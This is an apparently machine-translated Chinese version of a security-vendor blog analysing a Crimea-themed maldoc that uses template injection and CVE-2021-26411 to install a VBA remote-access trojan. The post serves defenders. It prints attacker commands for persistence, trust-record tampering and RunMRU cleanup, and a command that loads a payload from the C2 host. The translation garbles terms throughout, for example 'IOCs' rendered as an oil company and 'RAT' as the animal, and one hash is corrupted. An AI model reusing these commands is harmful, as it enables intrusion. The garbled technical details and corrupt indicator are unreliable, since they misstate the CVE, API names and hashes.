这篇博客帖子由Hossein Jazi创作。

在2021年7月21日,我们发现了一个名为“Манифест.docx”(“Manifest.docx”)的可疑文档,该文档下载并执行两个模板:一个是宏激活的,另一个是包含Internet Explorer漏洞的html对象。

虽然这两种技术都依赖于模板注入来删除全功能远程访问木马,但Lazarus APT之前使用的IE漏洞(cve - 201 -26411)是一个不寻常的发现。攻击者可能想要将社会工程技术与已知漏洞结合起来,以最大限度地增加感染目标的几率。

我们还发现了一个威胁演员使用的面板绰号为" Ekipa "似乎是"设备"的俚语。对受害者进行跟踪,并统计IE漏洞利用是否成功。

仅凭技术我们无法确定谁是这次袭击的幕后主使,但一份展示给受害者的假文件可能会提供一些线索。声明中包含了一个与安德烈·谢尔盖维奇·波提科有关的组织发表的声明,该组织反对普京在克里米亚半岛的政策。

远程模板

通过仔细查看嵌入的远程模板settings.xml.rels.我们注意到它包含一个全功能的VBA Rat,它执行以下动作:

  • 收集受害者的信息
  • 识别在受害者机器上运行的AV产品
  • 执行shell码
  • 删除文件
  • 上传和下载文件
  • 读取磁盘和文件系统信息

第二个模板嵌入中document.xml.rels.并加载到文档中。看着加载的代码,我们注意到它包含一个IE利用(CVE-2021-26411)该技术曾被Lazarus APT用于攻击致力于漏洞披露的安全研究人员谷歌微软.使用此Exploit执行的shell代码部署使用远程模板注入加载的相同的VBA鼠。

加载远程模板后,恶意文件加载一个俄语的诱饵文件,这是非常有趣的。这份虚假文件是克里米亚一个组织发表的一份声明,该组织表达了对俄罗斯的反对,特别是普京对克里米亚半岛的政策。在下面,你可以看到俄语和英语的这句话。

图1:诱饵文件

文件分析

恶意文档(“Манифест.docx”)中包含两个模板settings.xml.rels.document.xml.rels.位于的远程模板settings.xml.rels.下载宏武装化模板并将其加载到当前文档中。此远程模板包含具有全功能RAT功能的宏代码。我们在下一节中提供了对该VBA大鼠的分析。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <关系xmlns = " http://schemas.openxmlformats.org/package/2006/relationships " > <关系Id = " rId1 " Type = " http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate " Target =“HtTpS: \ \ cloud-documents.com/doc/t.php ?行动= show_content TargetMode = "外部" / > < / >的关系

第二个模板嵌入中document.xml.rels并将在主文档中加载在对象中。此模板包含CVE-2021-26411的漏洞利用代码。

图2:Document.xml.rels

此远程模板使用的exploit代码几乎与Enki.安全公司。

图3:利用代码

由此开发器执行的shell-code部署了使用嵌入的远程模板加载的相同的VBA鼠settings.xml.rels..实际上,参与者尝试使用两种不同的方法部署VBA Rat。
shell代码非常简单,并执行以下操作。shell代码写在AutoHotKey使用脚本语言和所有操作都使用SendInput.API呼叫。

  • 将VBA Rat作为受信任文档添加到TrustedRecords注册表项。通过将这个Rat病毒添加到这个注册表中,下次打开这个文档时就不需要启用宏了。
    reg add \"HKCU\ SOFTWARE\ Microsoft\ Office\ 16.0\ Word\ Security\ Trusted Documents\ TrustRecords\" /V https://cloud-documents.com/doc/templates/agent.dotm /t REG_BINARY /d 00000000000000000040230e43000000f9d99c01ffffff7f /f"
  • 使用:vba rat使用:winword / w https://cloud-documents.com/doc/t.php?document_show=notica
  • 通过创建一个定时任务,每分钟执行一次,来实现VBA Rat持久性:
    Schtasks / create / sc分钟/ mo 1 / tn \“z \”/ tr winword.exe'/ q / w%appdata%\ microsoft \ word \ startup \ _。dotm
  • 删除runmru.注册表值以清除其跟踪记录。
    Reg删除HKEY_CURRENT_USER \\软件\\ Microsoft \\ Windows \\ CurrentVersion \\ Explorer \\ runmru \ f

VBA RAT分析(远程模板)

远程模板包含Document_Opendocument_close.在打开和关闭文档时激活。

Document_Open:

Document_open函数检查活动文档是否具有DOCX扩展名,如果是这种情况,它会显示隐藏内容(诱饵内容)。然后,如果活动文档名称是“_.dotm”(当机器已经感染了Rat病毒时),它调用“connectcp”函数。的connectcp.函数负责通过调用以下函数以及命名的值来收集受害者的信息“cve”customdocumentproperties.(该值是在第一次执行该文档时设置的)。

在收集数据之后,它将数据转换为json格式JsonConvertor函数。稍后使用收集的数据SCI.命令功能,用于发送到服务器并接收命令。

  • getuuid:通过执行来获取uuid“从Win32_ComputerSystemProduct中选择*
  • getOS:通过执行获取操作系统类型"SELECT * FROM win32_operingsystem "
  • arch:返回OS架构
  • getCPU:通过执行获取CPU信息"SELECT * FROM Win32_Processor"
  • GetGPU:通过执行获取GPU信息"SELECT * FROM Win32_VideoController"
  • getRAM:通过执行获取物理内存容量"SELECT * FROM Win32_PhysicalMemory"
  • GetStorage:通过执行来获取可用的硬盘空间"Select * from Win32_LogicalDisk Where DriveType = 3"
  • getName:获取计算机名称,用户名和域名
  • getrole:确定受害者是否具有管理员角色。
图4:GetRole
  • getAV:获取反病毒产品信息,包括反病毒名称、反病毒状态(启用或禁用)和反病毒特征(过时或实际)。为了得到这些信息,它执行“从AntiVirusProduct中选择*”获取已激活的防病毒产品列表,然后调用显示名称获取反病毒名称,再通过产品状态码识别反病毒状态和反病毒签名状态。例如,如果产品状态码为266240,则表示已启用防病毒产品并更新了其签名。
图5:getav

最后,connectcp.函数调用这一点开始时间函数启动任务执行过程(executetasks.功能)。此函数创建一个调用的计时器executetasks.每10分钟执行一次,以执行从服务器收到的任务。

图6:设置计时器

如果活动文档名称不是“_.dotm”(此机器尚未在此VBA RAT之前感染),它调用命名的函数InstallFromExp确保它不在沙箱环境中运行,其扩展是dotm.攻击者检查以下注册表项的值,如果值等于它将无法执行的值InstallFromExp

HKCU \ Software \ Microsoft \ Office \&Application.version&\ Excel \ Security \ Vbawarnings

此注册表项的值意味着允许所有不受信任和可信的宏在没有任何通知的情况下运行,这通常是Sandbox环境自动运行宏嵌入文档的默认设置。

InstallFromExp执行此RAT的基本初始化,其中包括以下三个操作:

  • 设置customDocumentProperties命名“cve”“2021 - 26411”。
  • 通过添加单词启动目录来使自己坚持“_.dotm”名称:appdata \ microsoft \ word \ startup \ _。dotm
  • 通过删除来清理其跟踪记录runmru.注册表项
  • 退出程序

document_close.

此功能还执行RAT的安装,而是通过调用不同的函数:installfrommacro..在调用安装功能之前,它调用它沙盒要确保它未运行到沙箱环境中的功能,然后检查附加模板的路径是否包含http以确保它有一个嵌入的远程模板url。

installfrommacro.执行Rat的初始化,包括以下三个动作:

  • 将附加的远程模板作为文档打开,并提取BuiltInDocumentProperties的comments部分的内容,并将其拆分为“|”。如果操作系统是32位的,它会把评论的第一部分放进去通用变量,如果操作系统是64位,则需要注释部分的第二部分并将其放入通用.的通用变量以后用作的参数addtask.函数。
  • 设置customDocumentProperties命名为“cve”到“MACRO”。
  • 通过使用“_”将自己添加到word启动目录,使自己保持持久化。dotm”名称:appdata \ microsoft \ word \ startup \ _。dotm
  • 呼叫addtask.函数
  • 通过删除来清理其跟踪记录runmru.注册表项
图7:鼠的安装

addtask(使用enumwindows执行shell-code执行)

此功能Base64从中解码内容通用已设置的变量installfrommacro.函数并使用它使用VirtualProtectEnumWindows.实际上的内容通用是一个小的shell-code,它已在内存中执行而不被写入磁盘。Actor使用了一个有趣的API调用shellcode执行。而不是使用众所周知的API来呼叫Shell代码执行,这可以通过诸如AV产品的AV产品轻松获得标记Virtualalloc.WriteProcessMemory.,CreateThread演员使用了EnumWindows执行其shell代码。

第二个论证EnumWindows是传递给回调函数的应用程序定义的值。通过提供shell代码的地址VirtualProtect作为该函数的第二个参数,它可以执行shell代码。

图8:AddTask

执行的shell代码非常小,它只是通过创建一个Scheduled任务来保持每分钟执行一次:

Schtasks / create / sc分钟/ mo 1 / tn \“z \”/ tr winword.exe'/ q / w%appdata%\ microsoft \ word \ startup \ _。dotm

与IE漏洞使用的shell代码类似,此shell代码也是使用AutoHotKey脚本语言编写的,并且正在使用sendmessagea.SendInput.模拟击键并执行其操作。

图9:shell代码API和函数调用解析

executetasks.

这是VBA Rat的主要功能,它接收来自服务器的Json格式的命令,然后解析Json文件并执行命令。这个函数每次可以执行三个任务。这可能是为了避免在网络活动中产生可能被安全产品检测到的噪音。

图10:执行任务

为了从服务器接收任务,这个函数接收一个参数,名为SCI.SCI.函数发送收集的数据connectcp.函数的json格式http post.请求并接收来自服务器的响应,其中包括需要以JSON格式执行的任务。

图11:将信息发送到服务器并接收命令

下面是Rat病毒可以执行的命令列表。在执行每个任务之后,任务执行的结果将被发送到服务器。

Readdisks.

它使用机器上的每个驱动器信息Scripting.FileSystemObject.Drives目的。然后,它创建一个JSON对象,其中包括每个驱动器对象的以下键和值:

  • IsReady:如果驱动器准备好了,该值设置为true
  • 标签:获取驱动器的名称,该驱动器将是shareName或Volumename。这取决于驱动器是偏远的吗?
  • 文件系统:获取用于驱动器的文件系统
  • Freespace:获取驱动器的可用空间量,单位为KB
  • Name:获取驱动器号
  • IsDirectory:此值始终是真的
图12:读盘

readfilesystem.

此函数获取与指定路径中的文件夹对应的Folder对象Scripting.FileSystemObject.GetFolder对象,然后提取名称、大小、最后修改日期,并将它们放入Json对象中。它还为Folder对象中的所有子文件夹和文件提取相同的信息,并将它们添加到Json对象中。

下载文件

这个函数读取指定的文件Adobe.Recordset.并将数据发送到使用HTTP POST请求的服务器。

图13:下载文件

上传文件

该模块从服务器接收文件并将其写入指定文件。

图14:上传文件

删除文件

此函数使用kill函数删除指定的文件或目录。

终止

此函数终止Rat的执行并退出应用程序。

执行

此函数使用相同使用的方法执行来自服务器的接收的shell-codeaddtask.它所使用的功能VirtualProtectEnumWindows执行shell代码。

图15:执行shell代码

ChangeTiming

此函数重置用于每10分钟通过调用执行任务的计时器EndTimer杀死计时器然后呼叫开始时间开始一个新的计时器。

图16:发送结果

攻击者面板

我们能够访问攻击者使用的面板。的panel’s main page includes the list of victims with some information about them including: IP address, date and time, NTLM, Windows version, Windows Architecture, Office version, Office architecture, IE version, Exploited (shows if the IE zero day was successful or not), Loader (shows if the VBA Rat successfully executed or not) and note.

图17:面板

面板用备份的SQL数据库用PHP编写以存储数据。这个install.php初始化SQL数据库。

图18:install.php

stats.php.是执行与我们在这里报告的功能相匹配的Rat病毒的主要操作的文件。它还有更多的功能,包括:delete_task,disable_task,enabent_task,show_tasks,add_task,format_task和add_user。

图19:Stats.php
图20:Stats.php

结论

在这篇博客文章中,我们分析了一次攻击,其中威胁行为者使用了两种不同的方法来感染他们的受害者。恶意文档使用模板注入技术加载了这两种技术。第一个模板包含一个url,用于下载具有嵌入式全功能VBA Rat的远程模板。这款Rat病毒有几种不同的功能,包括下载、上传和执行文件。第二个模板是CVE-2021-26411的漏洞,它执行一个shell代码来部署相同的VBA Rat。VBA Rat没有混淆,但仍然使用了一些有趣的shell代码注入技术。

随着俄罗斯和乌克兰之间的冲突继续,网络攻击也在增加。诱饵文件包含一个宣言,展示了这种攻击背后可能的动机(克里米亚)和目标(俄罗斯和俄罗斯人)。但是,它也可能被用作错误的标志。

国际石油公司

Maldocs:
03EB08A930BB464837EDE77DF6C66651D526BAB1560E7E6E0E8466AB23856BAB23856BAB23856
0661FC4EB09E99BA4D8E28A2D5FAE6BB243F6ACC0289870F9414F9328721010A

远程模板:
FFFE061643271155F29AE015BCA89100DEC6B4B655FE0580AA8C6AEE53F34928

C2服务器:
云文档[。] com